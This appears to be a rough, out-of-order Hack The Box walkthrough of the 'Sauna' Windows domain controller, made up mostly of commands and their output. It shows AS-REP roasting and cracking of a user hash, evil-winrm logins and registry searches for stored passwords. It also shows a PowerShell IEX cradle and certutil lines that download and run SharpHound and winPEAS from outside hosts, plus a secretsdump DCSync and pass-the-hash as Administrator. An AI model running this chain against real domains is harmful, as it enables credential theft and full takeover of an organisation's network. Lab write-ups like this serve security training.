

GETNPUSERS.PY

EVIL-WINRM

BLOODHOUND

SECRETSDUMP.PY

```
akg@kali: ~  
PORT      STATE SERVICE      VERSION  
53/tcp    open  domain?        
| fingerprint-strings:   
|   DNSVersionBindReqTCP:   
|   version   
|   bind   
80/tcp    open  http         Microsoft IIS httpd 10.0  
| http-methods:   
|   Potentially risky methods: TRACE   
| http-server-header: Microsoft-IIS/10.0   
| http-title: Egotistical Bank :: Home   
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-03-02 02:41:14Z)  
135/tcp   open  msrpc        Microsoft Windows RPC   
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn   
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Nam  
e)  
445/tcp   open  microsoft-ds?   
464/tcp   open  kpasswd5?      
593/tcp   open  ncacn_http  Microsoft Windows RPC over HTTP 1.0   
636/tcp   open  tcpwrapped     
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Nam  
e)  
3269/tcp  open  tcpwrapped     
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://n  
map.org/cgi-bin/submit.cgi?new-service :  
SF-Port53-TCP:V=7.80I=7%0=3/1%Time=5E5C0156%P=x86_64-pc-linux-gnu%r(DNSVe  
SF:rsionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\07version\x  
SF:04bind\0\0\x10\0\03");  
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port  
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete  
No OS matches for host  
Network Distance: 2 hops  
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows  
  
Host script results:  
_clock-skew: 8h01m57s
```

```
=====   
|   Getting domain SID for sauna   |   
=====   
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 359.  
Domain Name: EGOTISTICALBANK  
Domain Sid: S-1-5-21-2966785786-3096785034-1186376766  
[+] Host is part of a domain (not a workgroup)
```

python GetNPUsers.py sauna/ -usersfile TargetUsers.txt -format hashcat -outputfile
hashes.asreproast

hugo smith?

python getNPUsers.py EGOTISTICAL-BANK.LOCAL/ -dc-ip 10.10.10.175 -request

impacket



Fergus Smith



Shaun Coins



Hugo Bear



Bowie Taylor



Sophie Driver

AMAZING

Meet The Team

“Meet the team. So many bank account managers but only one security manager. Sounds about right!”

python ./getnpusers.py egotistical-bank.local/ -usersfile users.txt -format john -outputfile hashes.txt

```

root@kali:/home/akg/Desktop/hackthebox/sauna# cat users.txt
FSmith
SCoins
SDriver
BTaylor
HBear
root@kali:/home/akg/Desktop/hackthebox/sauna# cat hashes.txt
$krb5asrep$FSmith@EGOTISTICAL-BANK.LOCAL:b66a141fcc30fe95de02c04469c2e56a$4602bd18b808ea0b4650892dd307cb3388bf3ef5d847fa0cb3f69abd2e80608671ff7c5862332d86eabd272794a6e861f598d5b52f4352906a1d6bc0f545fc461907b5b4d339160c22510314adde1db01798bb44ce57d1e08ba1ed4bbaecd561cd024c35c0a27ab4117d64b571420431c8e2c25b99ada692d6c7ba57720a613e684bd5825a363ba2264a88551e74ea3458fc0c3f7cc05275347806dcdbcc0463e7d69c7833462ef7968689be2a7267bbe9319381f4524036ec777a2cc74fec3973f31b3bc94424a2b0f3ec11e2bbf107ad4c11abb0e9432b8d784a4ecf80e7cce93972eb5e610cecbe626eec40d2ce7aaa89ce9af846c4078b51e0b095ee4353
root@kali:/home/akg/Desktop/hackthebox/sauna#

```

john hashes.txt -w=/usr/share/wordlists/rockyou.txt

```

root@kali:/home/akg/Desktop/hackthebox/sauna# john --show
Password files required, but none specified
root@kali:/home/akg/Desktop/hackthebox/sauna# john --show hashes.txt
$krb5asrep$FSmith@EGOTISTICAL-BANK.LOCAL:Thestrokes23

1 password hash cracked, 0 left
root@kali:/home/akg/Desktop/hackthebox/sauna#

```

ruby evil-winrm.rb -i sauna -u FSmith -p Thestrokes23

user.txt e5e4e47ae7022664cda6eb013fb0d9ed

```
Directory: C:\Users\FSmith\Desktop

Mode                LastWriteTime         Length Name
----                -
-a-----         1/23/2020  10:03 AM             34 user.txt

*Evil-WinRM* PS C:\Users\FSmith\Desktop> cat user.txt
1b5520b98d97cf17f24122a55baf70cf
*Evil-WinRM* PS C:\Users\FSmith\Desktop> █
```

1b5520b98d97cf17f24122a55baf70cf

Get-LocalUser

reg query HKLM /f password /t REG_SZ /s

ruby evil-winrm.rb -u svc_loanmgr -p Moneymakestheworldgoround! -i sauna

powershell -command "IEX(New-Object
Net.Webclient).DownloadString('http://10.10.15.125:8000/Sharphound.ps1'); Invoke-BloodHound -
CollectionMethod All -Verbose -LdapUser 'svc_loanmgr' -LdapPass
'Moneymakestheworldgoround!'"

certutil -urlcache -split -f <http://10.10.14.67:8080/winPEAS>

certutil -urlcache -split -f <http://10.10.14.67:8080/winPEASexe>

./winPEAS.exe

EGOTISTICALBANK\svc_loanmanager DefaultPassword : Moneymakestheworldgoround!

ruby evil-winrm.rb -u Administrator -H d9485863c1e9e05851aa40cbb4ab9dff -i 10.10.10.175

f3ee04965c68257382e31502cc5e881f

upload /home/akg/Desktop/hackthebox/sauna/sharphound.ps1
C:\Users\svc_loanmgr\Documents\sharphound.ps1 Info:

import-module .\sharphound.ps1

invoke-BloodHound -CollectionMethod All

```
download C:\Users\svc_loanmgr\Documents\20200308110900_BloodHound.zip  
/home/akg/Desktop/hackthebox/sauna/20200308110900_BloodHound.zip
```

```
secretsdump.py -just-dc-ntlm EGOTISTICAL-  
BANK.LOCAL/svc_loanmgr:"Moneymakestheworldgoround!"@10.10.10.175
```

```
ruby evil-winrm.rb -u Administrator -H d9485863c1e9e05851aa40cbb4ab9dff -i 10.10.10.175  
d9485863c1e9e05851aa40cbb4ab9dff
```